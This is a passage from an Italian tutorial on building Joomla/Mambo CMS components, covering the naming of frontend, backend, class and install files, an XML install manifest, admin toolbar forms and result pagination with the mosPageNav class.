Questi due elementi lavorano insieme come il capo di un'azienda ed un suo lavoratore, infatti il backend detta i comandi da eseguire e le modalità con cui devono essere svolti, mentre il frontend si limita ad eseguire ciò che viene detto. Ad esempio, in un componente per la gestione dei download, dalla parte amministrativa potremo aggiungere e catalogare nuovi files, che saranno poi visibili dagli utenti del nostro sito.

I componenti di Joomla hanno anche un'altra proprietà, ovvero quella di condividere alcune opzioni amministrative anche nel frontend, ad esempio nel componente di gestione dei download c'è l'opzione di inviare nuovi files nell'archivio da parte degli utenti registrati. Queste funzionalità vengono raccolte nei *file di classe*.

Tutti i file che formano un componente devono seguire delle precise regole di nomenclatura, al fine di un corretto funzionamento; da qui in avanti supporremo che il nostro componente si chiami `mycomp`.

Ora vediamo nello specifico, quali sono i file incaricati di svolgere la parte amministrativa e quali la parte visibile agli utenti:

1. file di *frontend*
 - `mycomp.php`
 - `mycomp.html.php` (opzionale)
2. file di *backend*
 - `admin.mycomp.php`
 - `admin.mycomp.html.php` (opzionale)
 - `toolbar.mycomp.php` (opzionale)
 - `toolbar.mycomp.html.php` (opzionale)
3. file di *classe*
 - `mycomp.class.php` (opzionale)
4. file di installazione
 - `mycomp.xml`
 - `install.mycomp.php`
 - `uninstall.mycomp.php`

Ora analizzeremo ognuno di questi file per vedere quali compiti svolge.

10.1 File del frontend

I file presenti in questo gruppo sono due e si occupano di visualizzare il componente all'utente finale del sito ed in essi sono incluse tutte le funzioni svolte, l'interfaccia ed i vari script.

Il file principale è `mycomp.php` che viene invocato da Joomla attraverso l'indirizzo:

¹ http://www.sito.it/index.php?option=com_mycomp

All'interno di tale file viene solitamente richiamato il file `mycomp.html.php`.

Come in ogni altro elemento all'interno di Joomla, anche nei componenti la sicurezza è in primo piano. Infatti in ognuno dei file di frontend, prima di inserire qualsiasi funzionalità, interfaccia o altro dobbiamo inserire questo codice:

```

1 <?php
2 // controlla se il file è stato richiamato da Joomla
3 defined('_VALID_MOS') or die('Restricted access.');
```

File `mycomp.php` E' il file principale del frontend e viene richiamato da Joomla automaticamente quando è richiesta la visualizzazione del componente da parte dell'utente. In questo file sono contenute tutte le funzioni che il componente svolge nel frontend. Esse possono essere di qualunque tipo e genere, come ad esempio visualizzare immagini, leggere da un file, aggiungere e rimuovere record del database, ... Ecco come deve essere strutturato il file `mycomp.php`:

```

1 <?php
2 switch($task) {
3     case 'show_form':
4         // Mostra il form
5         break;
6     case 'save':
7         // Salva i dati inviati dal form
8         break;
9     default:
10        // Altri dati da visualizzare
11        break;
12 }
13 ?>
```

Analizziamo insieme il codice. Noterete che l'unico costruito è:

```

1 switch($task) {
```

`$task` è una variabile predefinita all'interno di Joomla che, come il nome inglese suggerisce, indica l'operazione da eseguire, definita all'interno dello `switch`¹⁶.

Se invece nel componente dovessimo usare un form HTML per l'invio di dati, dovremo inserire la variabile `$task` come un campo nascosto, in quanto essa attiva la funzione del componente. Vediamo insieme altre due variabili predefinite dei componenti:

`$option` indica sempre il nome della cartella del componente che stiamo usando. Nel nostro caso siccome il componente si chiama `mycomp` il valore che `$option` restituirà è `com_mycomp`; questa variabile viene utilizzata per trovare la cartella del componente che vogliamo visualizzare.

`$Itemid` all'interno di Joomla ogni elemento è catalogato con un *numero di serie* per identificarlo in modo univoco. Questa variabile restituisce tale valore che è utilizzato nei menu per richiamare i componenti; se Joomla richiamasse i componenti escludendo questo valore, la pagina principale si caricherebbe correttamente ma né il componente né tutte le funzioni

¹⁶le operazioni citate `show_form` e `save` sono puramente indicative

ed i collegamenti all'interno di esso sarebbero funzionanti, in quanto senza il *numero di serie* Joomla apre solamente l'interfaccia grafica del componente. Per fare un esempio, è come se usassimo un programma a pagamento che abbiamo acquistato senza inserire il codice di attivazione, il che renderebbe il nostro programma limitato ed instabile.

Nel file `mycomp.php` è possibile utilizzare tutte le variabili e le funzioni di sistema illustrate nella sezione 2.

File `mycomp.html.php` Questo file, come citato precedentemente, contiene l'interfaccia grafica del componente (GUI), che può essere comunque inclusa nel file `mycomp.php`, ma renderebbe pesante il codice da interpretare e da correggere in caso di errori.

In questo modo invece si ha una separazione, come in un'automobile si ha la parte meccanica (rappresentata dal file `mycomp.php`) ricoperta dalla carrozzeria (rappresentata dal file `mycomp.html.php`) che dà un gradevole aspetto.

All'interno del file `mycomp.html.php` possono comunque essere incluse funzioni di qualsiasi genere e tipo, ad esempio la convalida dei dati inseriti in un form prima del suo invio. Vediamo insieme un esempio basilare di struttura del file `mycomp.html.php`:

```

1 <?php
2     class HTML_mycomp {
3         function displayForm() {
4             // visualizza un ipotetico form HTML
5         }
6
7         function displayData() {
8             // visualizza il risultato di un'ipotetica elaborazione
9         }
10    }
11 ?>
```

Analizzando il codice si nota che vi sono due metodi, racchiusi all'interno di una classe. La classe è `HTML_mycomp`¹⁷ ed è quella che viene richiamata per mostrare l'interfaccia del nostro componente; infatti i due metodi che essa racchiude sono `displayForm()` e `displayData()`¹⁸, che nel nostro componente di esempio mostrano un ipotetico form HTML ed il risultato dell'invio a video.

Parlando di form, è importante notare che a differenza dei normali script PHP in cui i dati vengono spediti ad un file che li elabora, in Joomla i dati si spediscono sempre ad `index2.php`, questo perché Joomla riceverà i dati da noi inviati in un punto comune, e poi li invierà per l'elaborazione al componente da noi utilizzato.

Il nome della classe ed il numero dei metodi sono a discrezione dello sviluppatore, a seconda di cosa serve e di cosa deve fare il componente. Ad esempio si potrebbe inserire un metodo `about()` per visualizzare le informazioni di copyright del componente, oppure un metodo `save()` per memorizzare nel database (o su file) qualche altro tipo di informazione, e così via...

Se vogliamo rendere il nostro componente conforme alle specifiche SEO¹⁹ (*Search-Engine Friend-*

¹⁷il nome è puramente indicativo

¹⁸i nomi sono puramente indicativi

¹⁹le specifiche si applicano esclusivamente ai server web Apache

ly URLs), il che è particolarmente raccomandato, per inviare i form possiamo utilizzare questo codice:

```
1 <?php
2     echo '<form method="POST" action="' .
3       sefRelToAbs("index2.php?option=$option&Itemid=$Itemid") . '">';
4 ?>
```

Come vediamo si usa la funzione `sefRelToAbs()` (vedi sezione 2.30) in cui come unico argomento è stato inserito il percorso *relativo* del componente, che la funzione penserà a convertire in percorso *assoluto*.

Ora che abbiamo visto che funzioni svolgono questi due file separati, è bene che impariamo a collegarli per farli lavorare assieme (parte meccanica + carrozzeria) per ottenere il risultato finale nella parte di frontend.

Questa operazione è relativamente semplice; basta infatti inserire il codice seguente nel file `mycomp.php` laddove vogliamo richiamare la nostra interfaccia grafica:

```
1 <?php
2     // inserisce contenente la classe del frontend
3     require_once($mainframe->getPath('front_html'));
4 ?>
```

Poi inseriamo queste altre linee di codice nel file `mycomp.php`, ove necessario:

```
1 <?php
2     // visualizza l'ipotetico form di inserimento dati
3     HTML_mycomp::displayForm();
4
5     ...
6
7     // visualizza gli eventuali risultati
8     HTML_mycomp::displayResult();
9 ?>
```

Il codice che abbiamo inserito in `mycomp.php`, serve a richiamare il file `mycomp.html.php` mediante la funzione PHP `require_once()`, che come suo argomento ha l'oggetto `$mainframe` (vedi sezione 2.1) che invoca il metodo `getPath('front_html')` (vedi sezione 2.1.2).

Ancora nel file `mycomp.html.php` il codice che abbiamo scritto ha la funzione di rispondere alla chiamata fatta da `mycomp.php` e di fornire i risultati delle elaborazioni; nel nostro caso mostra il form e il risultato dell'invio di quest'ultimo.

10.2 File del backend

Eccoci arrivati alla parte più importante e complessa dei componenti in Joomla, ovvero la parte amministrativa.

Come detto prima, le relazioni tra backend e frontend sono del tipo *capo-lavoratore*, quindi dall'amministrazione dobbiamo essere in grado di controllare le azioni del nostro componente nel frontend in ogni sua parte e di rispondere ai dati che ci invia; ad esempio in un componente per i downloads, i dati che il frontend invia al backend sono le statistiche, la segnalazione di nuovi programmi, l'aggiunta di file che richiedono approvazione e altro.

Siccome la parte amministrativa dispone di molte potenzialità, Joomla predispone un maggiore e più complesso sistema di sicurezza per i files del backend. Vediamo insieme quali sono.

File admin.mycomp.php Questo è il file che viene richiamato da Joomla quando richiamiamo il nostro componente dall'interfaccia amministrativa. Esso contiene tutte le funzioni eseguibili dalla parte amministrativa per gestire il componente.

Prima di scrivere qualsiasi altra cosa, è bene attivare il sistema di sicurezza, mediante il codice:

```

1 <?php
2 // controlla se il file è stato richiamato da Joomla
3 defined('_VALID_MOS') or die('Restricted access.');
```

4

```

5 // verifica l'autenticazione dell'utente
6 if (!( $acl->acl_check('administration', 'edit', 'users', $my->usertype, 'components', 'all') ||
7   $acl->acl_check('administration', 'edit', 'users', $my->usertype, 'components', 'com_mycomp')))) ←
8   {
9     mosRedirect('index2.php', _NOT_AUTH);
10  }
```

Come vediamo, il sistema di sicurezza è progettato in modo da bloccare i vari tipi di utenza non autorizzata all'accesso, richiedendo invece l'autenticazione nel caso non fosse stata eseguita da parte degli utenti a cui è permesso di utilizzare il componente (vedi sezione 2.5).

Come per il frontend, anche nel backend le funzioni sono divise dall'interfaccia grafica ed il file che viene richiamato per visualizzarla è `admin.mycomp.html.php`; anche questo dovrà avere incluso il codice per il sistema di sicurezza. I due files si collegano in modo analogo al frontend.

Nella parte amministrativa, si aggiungono anche altri elementi oltre a questi due file che gestiscono le funzioni e le interfacce grafiche:

file toolbar.mycomp.php contiene il codice per stabilire quali bottoni della barra degli strumenti utilizzare, a seconda dell'operazione (`$task`) da svolgere

file toolbar.mycomp.html.php contiene il codice per visualizzare i bottoni sulla barra degli strumenti

Creazione di un menu Per rendere completo il nostro componente è necessario creare anche delle voci di menu che consentano agli utenti finali di accedere più rapidamente a determinate funzioni ed a determinati pannelli di gestione del componente.

Joomla crea in modo automatico una voce di menu principale per il nostro componente, quindi bisognerà creare solo le voci del sottomenu del componente; ecco un esempio basilare:

```

1 <?xml version="1.0" ?>
2 <mosinstall>
3   <administration>
4     <submenu>
5       <menu act="config">Configurazione</menu>
6       <menu act="manage">Gestione dati</menu>
7     </submenu>
8   </administration>
9 </mosinstall>
```

Come si può vedere dai tag `<mosinstall>` e `</mosinstall>` le istruzioni relative ai sottomenu dei componenti sono incluse nel file XML di installazione. I successivi tag `<administrator>` e `</administrator>` ci indicano che le istruzioni sono comprese nell'area amministrativa.

Come si può vedere, il sottomenu è incluso fra i tag omonimi. Analizziamo nel dettaglio come si crea una singola voce di menu:

```
1 <menu act="config">Configurazione</menu>
```

`act` è un parametro di menu che indica a quale elemento fa riferimento la sottovoce di menu. Da notare che l'attributo `act` descrive qual'è l'azione che vogliamo che venga svolta al momento del click sul menu. Come vedremo più tardi possiamo far svolgere ai menu delle azioni più complesse; ecco un piccolo esempio:

```
act : Config (config)
```

```
act : Manage Items (manage)
```

Nel caso di questo componente, voglio che quando clicco sul sottomenu *Configurazione*, venga mostrato un form già compilato con la configurazione attuale e un bottone per salvare i dati se questi vengono modificati. Dopo il salvataggio delle modifiche voglio che il form venga nuovamente mostrato con i dati aggiornati.

Ecco una struttura di ciò che vogliamo creare:

```
1 act: Config (config)
2 task: save
3 Salva il form nel database
4 Visualizza il form di configurazione
5 Buttons: Save (save)
6 task: default
7 Visualizza il form di configurazione
8 Buttons: Save (save)
9
10 act: Manage Items (manage)
```

Per ora, questo è tutto quello di cui abbiamo bisogno per il sottomenu di configurazione.

`task: default` vuol dire che è il task predefinito che dovrà essere svolto quando clicco sul menu di configurazione.

Ora ci occupiamo dell'altro sottomenu, ovvero *Gestione dati*. Quando clicco su di esso voglio che vengano mostrati i dati memorizzati nel database, un bottone per aggiungere nuovi dati e uno per eliminarli. Ecco la struttura di ciò che vogliamo creare:

```
1 act: Config (config)
2 task: save
3 Salva impostazioni nel database
4 Visualizza il form di configurazione
5 Buttons: Save (save)
6 task: default
7 Visualizza il form di configurazione
8 Buttons: Save (save)
9
10 act: Manage Items (manage)
11 task: default
```



```

12 Visualizza una lista dei dati con caselle di spunta sulla sinistra
13 Buttons: Aggiungi (add), Elimina (delete)

```

Quando clicco sul bottone *Aggiungi*, voglio che venga mostrato un form che mi permetta di inserire nuovi dati ed un bottone per salvarli. Quando clicco sul bottone *Elimina* voglio che vengano cancellati dal database i dati che ho selezionato con le caselle di spunta. Ecco la struttura di ciò che vogliamo creare:

```

1 act: Config (config)
2 task: save
3 Salva impostazioni nel database
4 Visualizza il form di configurazione
5 Buttons: Save (save)
6 task: default
7 Visualizza il form di configurazione
8 Buttons: Save (save)
9 act: Manage items
10 task: add
11 Visualizza form di aggiunta dati
12 Button: Save (save)
13 task: delete
14 Elimina dati
15 Visualizza un elenco dei dati
16 Buttons: Aggiungi (add), Elimina (delete)
17 task: save
18 Aggiungi nuovo elemento nel database
19 Visualizza la lista dei dati
20 Buttons: Add (add), Delete (delete)
21
22 task: default
23 Visualizza un elenco dei dati
24 Buttons: Aggiungi (add), Elimina (delete)

```

Abbiamo terminato il design delle funzioni del menu. Ora basterà tradurre il linguaggio progetto in linguaggio PHP. Al posto dei commenti andranno inserite le funzioni PHP per eseguire ciò che abbiamo in mente.

Questo codice dovrà essere inserito sia nel file `admin.mycomp.php` che nel file `toolbar.mycomp.php` e comprende le varie funzioni che il nostro componente sarà in grado di svolgere:

```

1 <?php
2 switch($act) {
3     case 'config':
4         switch ($task) {
5             case 'save':
6                 // Salva impostazioni nel database
7                 // Visualizza il form di configurazione
8                 // Bottone di salvataggio dati
9                 break;
10            default:
11                // Visualizza il form di configurazione
12                // Bottone di salvataggio dati
13                break;

```

```

14     }
15     break;
16     case 'manage':
17         switch ($task) {
18             case 'add':
19                 // Visualizza il form per l'aggiunta di dati
20                 // Bottone di salvataggio dati
21                 break;
22             case 'delete':
23                 // Elimina dati selezionati
24                 // Visualizza un elenco dei dati
25                 // Bottoni: Aggiungi, Elimina
26                 break;
27             case 'save':
28                 // Aggiungi il nuovo dato nel database
29                 // Visualizza un elenco dei dati
30                 // Bottoni: Aggiungi, Elimina
31                 break;
32             default:
33                 // Visualizza un elenco dei dati
34                 // Bottoni: Aggiungi, Elimina
35                 break;
36         }
37     break;
38 }
39 ?>

```

Analizziamo bene ciò che vogliamo creare e che è visibile nella struttura riportata sopra:

- quando la proprietà `act` del menu assume il valore `config` che le abbiamo assegnato, dovrà comparire la schermata di configurazione del nostro componente; per stabilire cosa fare all'interno di tale schermata, ci serviamo della variabile `task`
- quando richiamiamo la schermata di configurazione dal menu mediante il comando `config`, non assegniamo nessun valore a `task` per cui, grazie alla funzione `default` del costrutto `switch/case` di PHP, facciamo eseguire delle operazioni quando `task` non ha nessun valore o quando questo non è compreso fra gli altri che utilizziamo
- se dal form di configurazione premiamo il bottone *Salva*, la variabile `task` assumerà il valore `save` e verrà eseguito il blocco di istruzioni corrispettive. Analogamente, premendo il bottone *aggiungi* verranno eseguite le istruzioni di quel blocco, e così via

Una volta inserite le istruzioni PHP adibite allo svolgimento di ogni funzione non resta altro da fare che collegare l'interfaccia grafica del componente al codice, mediante questi codici:

```

1 <?php
2 // inserire in admin.mycomp.html.php
3
4 class HTML_mycomp {
5     function displayConfigForm() {
6     }
7 }
8 ?>

```

Questa è la struttura di base per visualizzare il form di configurazione. Naturalmente dovrete inserire voi l'altro codice a secondo delle vostre esigenze. Una volta che avrete finito, create il collegamento inserendo il seguente codice in `admin.mycomp.php`.

```

1 <?php
2 // Inserire nel file admin.mycomp.php
3 require_once($mainframe->getPath('admin_html'));
4 ?>

```

Per visualizzare i bottoni nella barra degli strumenti, verrà utilizzata la classe `mosMenuBar` (vedi sezione 2.7). E' possibile utilizzarla senza includere niente nel file PHP da cui la richiameremo. Per dimostrare come utilizzare questa classe, ho preso una porzione del codice contenuto in `toolbar.mycomp.html.php`.

```

1 <?php
2 // da inserire in toolbar.mycomp.php file
3
4 // Aggiungo il richiamo al file toolbar.mycomp.html.php
5 require_once($mainframe->getPath('toolbar_html'));
6
7 // ... (snipped) ...
8
9 default:
10     // Bottoni: Aggiungi, Elimina
11     TOOLBAR_mycomp::defaultButtons()
12     break;
13
14 // ... (snipped) ...
15 ?>

```

```

1 <?php
2 // da inserire nel file toolbar.mycomp.html.php
3
4 class TOOLBAR_mycomp {
5     function defaultButtons() {
6         // Apre la tabella che conterrà i bottoni
7         mosMenuBar::startTable();
8
9         // Mostra il bottone AGGIUNGI
10        mosMenuBar::addNew();
11
12        // Mostra il bottone ELIMINA
13        mosMenuBar::deleteList();
14
15        // Chiude la tabella
16        mosMenuBar::endTable();
17    }
18 }
19 ?>

```

I bottoni della barra degli strumenti fungono come un bottone di invio dei dati, quindi dovremo avere un form su ogni pagina che dovrà per forza essere chiamato `adminForm`, dovrà essere

spedito ad `index2.php` per la validazione e avere campi nascosti con variabili `$option`, `$act`, `$task` per passare i dati. Ecco un esempio:

```

1 <?php
2 // il nome del form deve essere adminForm
3 echo '<form action="index2.php" method="POST" name="adminForm">';
4
5 // Option (la cartella del componente corrente) è disponibile
6 // come variabile globale
7 echo '<input type="hidden" name="option" value="'. $option. '>';
8
9 // Act è anche essa una variabile globale
10 echo '<input type="hidden" name="act" value="'. $act. '>';
11
12 // Il valore di task will sarà impostato Mambo al momento dell'invio,
13 // a seconda di quale bottone verrà cliccato
14 echo '<input type="hidden" name="task" value="">';
15
16 echo '</form>';
17 ?>

```

Se avete creato una lista di elementi con le caselle di spunta, Joomla fornisce automaticamente le funzioni JavaScript di Selezione/Deselezione. Bisogna però seguire alcune norme:

- la casella di spunta adibita alla selezione/deselezione di tutti i dati deve essere chiamata `toggle`
- l'evento `onClick` di `toggle` deve chiamare la funzione `CheckAll(n)`. Rimpiazzare `n` con il numero degli elementi totali della lista. Potete estrapolare tale valore anche con la funzione `mysql_num_rows()`, etc.
- ogni casella di spunta deve avere come ID l'attributo `cb`, seguito da un numero crescente, che parte da zero (esempio: `cb0`, `cb1`, `cb2`, ...) Potete impostare il parametro `name` come volete
- bisogna creare un campo nascosto chiamato `boxchecked` ed impostare il suo valore come zero
- l'evento `onClick` di ogni casella di spunta deve richiamare la funzione `isChecked(this.checked)`; questa serve per variare la variabile `boxchecked` da 0 a 1 quando il campo è selezionato

Ecco qui un esempio:

```

1 <input type="checkbox" name="toggle" value="" onClick="checkAll(n);">
2
3 <input type="checkbox" id="cb0" name="cid[]" value="" onClick="isChecked(this. ←
4   ← checked);">
5 <input type="checkbox" id="cb1" name="cid[]" value="" onClick="isChecked(this. ←
6   ← checked);">
7 <input type="checkbox" id="cb2" name="cid[]" value="" onClick="isChecked(this. ←
8   ← checked);">
9
10 <input type="hidden" name="boxchecked" value="0">

```

10.3 File di classe

Il file di classe è uno solo e deve essere chiamato `mycomp.class.php`.

Questo file contiene funzioni utili, che vengono condivise tra i files di frontend e quelli di backend. Per esempio in questo file ci può essere una funzione che restituisce un valore il quale può essere utilizzato da tutti i files del componente per svolgere altre funzioni. Questo file può essere inserito sia insieme ai file di frontend sia con quelli di backend e il codice richiesto per richiamarlo all'interno di un file è:

```
1 <?php
2 require_once($mainframe->getPath('class'));
3 ?>
```

Ovviamente oltre ai file finora citati, un componente può essere composto anche di altri files supplementari, come ad esempio `skin.php` che possono essere inclusi con il seguente codice:

```
1 <?php
2 // Esempio su come includere altri files
3 // $mosConfig_absolute_path è il percorso assoluto
4 // alla cartella di installazione di Joomla
5 require_once($mosConfig_absolute_path.'/components/mycomp/skin.php');
6 ?>
```

E' bene ricordare che per file di questo genere non si può utilizzare la funzione `$mainframe->getPath()` perché Joomla non ha una chiave specifica per richiamarli.

10.4 File di installazione

Questi file sono utilizzati solo durante la fase di installazione/disinstallazione del componente e sono adibiti alla creazione delle cartelle, alla copia/spostamento/eliminazione dei files e alla creazione di tabelle nel database. Normalmente i files di installazione sono tre.

File mycomp.xml Questo file contiene dettagli sul componente (nome, versione, copyright, sito web, e-mail, ...), la lista dei file e delle immagini utilizzate, comandi SQL da eseguire durante l'installazione/disinstallazione e la lista dei menu che appariranno nell'interfaccia amministrativa (sotto la voce di menu *Componenti*). Il nome del componente (incluso tra i tag `<name></name>`) darà anche il nome alla cartella del componente e a tutti i suoi file. E' importante ricordare che se mettiamo come nome del componente "Ciao Mondo", tutti i files che lo compongono devono avere il suo stesso nome, che viene formato togliendo tutti gli spazi tra le parole e convertendo il testo in minuscolo.

Qui sotto è riportato il file XML di esempio per un componente:

```
1 <?xml version="1.0" ?>
2 <mosinstall type="component">
3   <name>nome componente</name>
4   <creationDate>01/02/2005</creationDate>
5   <author>tuo nome</author>
6   <copyright>(c) 2005 tua compagnia</copyright>
7   <authorEmail>me@example.net</authorEmail>
8   <authorUrl>www.tuodominio.com</authorUrl>
9   <version>1.0</version>
```

```
10 <description>Descrizione del componente</description>
11
12 <files >
13   <filename>mycomp.php</filename>
14   <filename>mycomp.html.php</filename>
15 </files >
16
17 <images>
18   <filename>img/img1.gif</filename>
19   <filename>img/img2.gif</filename>
20 </images>
21
22 <install >
23   <queries>
24     <query>
25       CREATE TABLE #__mycomp_data(
26         id int unsigned not null,
27         name varchar(255) not null,
28         PRIMARY KEY (id)
29       ) TYPE=MyISAM;
30     </query>
31     <query>
32       (another query, etc)
33     </query>
34   </queries>
35 </install >
36
37 < installfile >
38   install .mycomp.php
39 </ installfile >
40
41 < uninstallfile >
42   uninstall .mycomp.php
43 </ uninstallfile >
44
45 <uninstall>
46   <queries>
47     <query>DROP TABLE #__mycomp_data;</query>
48     <query>(another query, etc)</query>
49   </queries>
50 </uninstall>
51
52 <administration>
53   <menu>My Component</menu>
54   <submenu>
55     <menu act="config">Config</menu>
56     <menu act="manage">Manage Items</menu>
57   </submenu>
58
59   <files >
60     <filename>admin.mycomp.php</filename>
61     <filename>admin.mycomp.html.php</filename>
62     <filename>toolbar.mycomp.php</filename>
```

```

63     <filename>toolbar.mycomp.html.php</filename>
64 </files >
65
66 <images>
67     <filename>img/img3.gif</filename>
68     <filename>img/img4.gif</filename>
69 </images>
70 </administration>
71 </mosinstall>

```

Tutti i file racchiusi nei tag `<files>` e `<images>` saranno copiati all'interno della directory `/components/com_mycomp`, mentre tutti i file racchiusi nel tag `<administration>` saranno copiati nella directory `/administrator/components/com_mycomp`.

I comandi SQL racchiusi nel tag `<install>` vengono eseguiti durante l'installazione del componente, mentre quelli racchiusi nel tag `<uninstall>` verranno eseguiti durante la disinstallazione; questo al fine di ripulire Joomla da eventuali tabelle orfane all'interno di MySQL.

File `install.mycomp.php` Questo file contiene una sola funzione, che si chiama `com_install()` e che viene richiamata quando il componente viene installato correttamente.

Si possono inserire varie cose, come collegamenti al proprio sito web, messaggi di congratulazioni, tabelle, ... Ecco un esempio:

```

1 <?php
2 function com_install() {
3     return 'Installazione completata con successo! Visita il mio sito per ulteriori
4         ↳ informazioni ed aggiornamenti.';
5 }
6 ?>

```

NOTA BENE: utilizzare la funzione per visualizzare il messaggio di installazione, perché utilizzando il comando `echo`, il messaggio non viene visualizzato nella giusta posizione.

File `uninstall.mycomp.php` In maniera analoga al file di installazione `install.mycomp.php`, questo visualizza il messaggio di successo della disinstallazione del componente, che stranamente non viene sempre mostrato.

```

1 <?php
2 function com_uninstall() {
3     return 'Il componente è stato disinstallato correttamente';
4 }
5 ?>

```

11 Paginazione dei risultati

Utilizzando i normali componenti di Joomla ci si sarà resi conto di un aspetto comune a tutti: la pagina *principale* del componente presenta una tabella²⁰ con l'elenco dei record (i banner, i contenuti, i newsfeed, ...), nonchè i pulsanti per modificare l'ordine dei record e la suddivisione

²⁰intesa letteralmente come elemento `<table>`

in pagine.

Ogni sviluppatore web sa bene quanto sia importante la paginazione dei risultati, pertanto vediamo come fare utilizzando il framework di Joomla.

11.1 Classe `mosPageNav`

La classe adibita alla paginazione dei risultati si chiama `mosPageNav` ed è definita all'interno del file `administrator/includes/pageNavigation.php`.

Tale classe è molto ricca di metodi, a differenza della sua controparte del frontend²¹, ma purtroppo la mancanza di parametri nei suoi metodi, causa malfunzionamenti in alcuni casi specifici che vedremo a fine sezione.

Per utilizzare tale classe è necessario prima di tutto istanziare un oggetto:

```
1 require_once($mainframe->getCfg("absolute_path") . '/administrator/includes/ ↵
   ↵ pageNavigation.php');
2
3 $pageNav = new mosPageNav($total, $limitstart, $limit);
```

I tre parametri passati al costruttore hanno il seguente significato:

`$total` numero *totale* di record, che va precalcolato con una query apposita

`$limitstart` record da cui partire a visualizzare; è un parametro dello script

`$limit` numero di record da visualizzare in ogni pagina; è un parametro dello script

Una volta istanziato l'oggetto è possibile effettuare la query SQL per recuperare i dati nel modo già visto nella sezione 2.3.8:

```
1 $database->setQuery($query, $pageNav->limitstart, $pageNav->limit);
```

Alla normale invocazione del metodo `setQuery` è necessario aggiungere anche i due parametri per recuperare i record già paginati.

Dopodichè, solitamente, viene fatto un ciclo `for` (o `foreach`) per la visualizzazione di tutti i record in formato tabulare.

All'interno di tale ciclo potrebbe essere necessario visualizzare un numero progressivo di riga, legato alla paginazione. Ad esempio, per visualizzare 100 record in pagine da 20, la prima pagina avrà i record numerati da 1 a 20, la seconda pagina da 21 a 30, e così via. Per visualizzare tale numero progressivo è sufficiente inserire il seguente codice *all'interno del ciclo*²²:

```
1 echo $pageNav->rowNumber($i);
```

Il parametro `$i` rappresenta l'indice di iterazione su cui si basa il ciclo `for`²³ e deve variare tra 0 ed il numero di record restituiti dalla query, ad esempio:

```
1 $recordRestituiti = $database->loadObjectList();
2
```

²¹ esiste una classe con lo stesso nome nel file `includes/pageNavigation.php`

²² ossia per ogni iterazione

²³ è possibile utilizzare anche il ciclo `foreach`, ma bisogna creare a mano una variabile che si incrementa ad ogni iterazione


```

3 for($i=0; $i < count($recordRestituiti); $i++){
4     ...
5     echo $pageNav->rowNumber($i);
6     ...
7 }

```

Nel caso in cui si desiderino visualizzare anche i pulsanti per modificare l'ordine dei record, è necessario utilizzare i metodi `orderUpIcon` e `orderDownIcon`, sempre *all'interno del ciclo*. Si fa notare che per poter gestire l'ordine dei record è necessario che nella tabella che contiene i record, esista un campo numerico `ordering` adibito a memorizzare la posizione.

Metodo `orderUpIcon()` Il metodo ha la seguente signature:

```

1 string orderUpIcon(int $i[, boolean $condition=true[, string $task='orderup'[, string $alt=' ←
  ↪ Sposta su']]]]);

```

Listato 117: Sintassi `orderUpIcon`

i cui parametri hanno il seguente significato:

`$i` indice della riga corrente del ciclo; è il valore `$i` di cui sopra

`$condition` se vale `false` viene restituito uno spazio bianco ` `; altrimenti viene visualizzata l'icona con relativo link ipertestuale

`$task` task del componente da eseguire per effettuare l'ordinamento; il default è `orderup`

`$alt` testo alternativo e titolo del pulsante; il default è *Sposta su*

Il task che viene invocato e che si occuperà di modificare l'ordinamento, riceve via POST il parametro `cid` contenente il valore di ID del record selezionato; il parametro è un array di un elemento pertanto sarà necessario estrarlo come segue:

```

1 $cid = array();
2 $cid = mosGetParam($_POST, "cid", 0);
3 $cid = intval($cid[0]);

```

Metodo `orderDownIcon()` Il metodo ha la seguente signature:

```

1 string orderDownIcon(int $i, int $n[, boolean $condition=true[, string $task='orderdown'[, ←
  ↪ string $alt='Sposta giù']]]]);

```

Listato 118: Sintassi `orderDownIcon`

i cui parametri hanno il seguente significato:

`$i` indice della riga corrente del ciclo; è il valore `$i` di cui sopra

`$n` numero di elementi restituiti dalla query

`$condition` se vale `false` viene restituito uno spazio bianco ` `; altrimenti viene visualizzata l'icona con relativo link ipertestuale

`$task` task del componente da eseguire per effettuare l'ordinamento; il default è `orderdown`

`$alt` testo alternativo e titolo del pulsante; il default è *Sposta giù*

Anche in questo caso il task che viene invocato e che si occuperà di modificare l'ordinamento, riceve via POST il parametro vettoriale `cid` come sopra.

Una volta terminato il ciclo `for` è possibile inserire nell'output finale l'elenco delle pagine con i vari link per poter scorrere tra i risultati:

```
1 echo $pageNav->getListFooter();
```

Ciascun link punterà all'indirizzo corrente della pagina visualizzata a cui verrà aggiunto un suffisso come segue:

`#N` per aprire la pagina numero `N`

`#next` per aprire la pagina successiva a quella che si sta visualizzando

`#prev` per aprire la pagina precedente a quella che si sta visualizzando

`#end` per aprire l'ultima pagina

`#beg` per aprire la prima pagina

In realtà tutto il meccanismo viene gestito tramite JavaScript che effettua il submit della pagina²⁴, inviando automaticamente due ulteriori parametri, `limitstart` e `limit`, di cui si è parlato precedentemente.

I malfunzionamenti di cui si è parlato, sono proprio legati alla chiamata di questo metodo.

Si è visto che per un corretto funzionamento di un componente, è necessario inserire nella pagina alcuni campi nascosti quali `task`, `option`, `boxchecked`, `hidemainmenu`, ... In particolare ci soffermeremo sui primi due ricordando che `task` viene lasciato vuoto, mentre `option` viene configurato con il valore corrente della variabile `$option`, che rappresenta il nome del componente in esecuzione.

Il campo `task` viene lasciato vuoto in quanto il suo valore viene settato dinamicamente dai pulsanti della classe `mosMenuBar` (sezione 2.7), prima di effettuare il submit del form.

Il metodo `getListFooter()` invece, effettua direttamente il submit senza impostare il campo `task`; ciò significa che il componente viene invocato²⁵ senza specificare alcun task specifico.

Questo comporta un funzionamento corretto in tutti quei componenti *semplici* che prevedono una gestione di default di `task`, ma un malfunzionamento in tutti quei componenti *complessi* che richiedono la specificazione del valore di `task` e non sono in grado di gestire un default.

Pertanto se il proprio componente presenta questo problema, è necessario specificare il valore di `task` nel campo nascosto; si passa quindi dalla soluzione:

```
1 <input type="hidden" name="task" value="">
```

alla soluzione:

```
1 <input type="hidden" name="task" value="<?php echo $task?>">
```

²⁴che in realtà è un *autosubmit* visto che viene ricaricata la stessa pagina

²⁵il campo nascosto `option` è sempre settato al nome del componente

Il valore `$task` può essere passato come argomento di funzione oppure dichiarato con il modificatore `global`:

```

1  function visualizzaLista($task, $option){
2      ...
3  }
4
5  // oppure
6
7  function visualizzaLista($option){
8      global $task;
9      ...
10 }

```

11.2 Esempio pratico

Per capire il meccanismo della paginazione all'interno del framework di Joomla, verrà riportato una porzione di codice preso dal componente `com_weblinks` che gestisce i collegamenti web. I file considerati nell'esempio sono `admin.weblinks.php` e `admin.weblinks.html.php`, situati nella cartella `administrator/components/com_weblinks`.

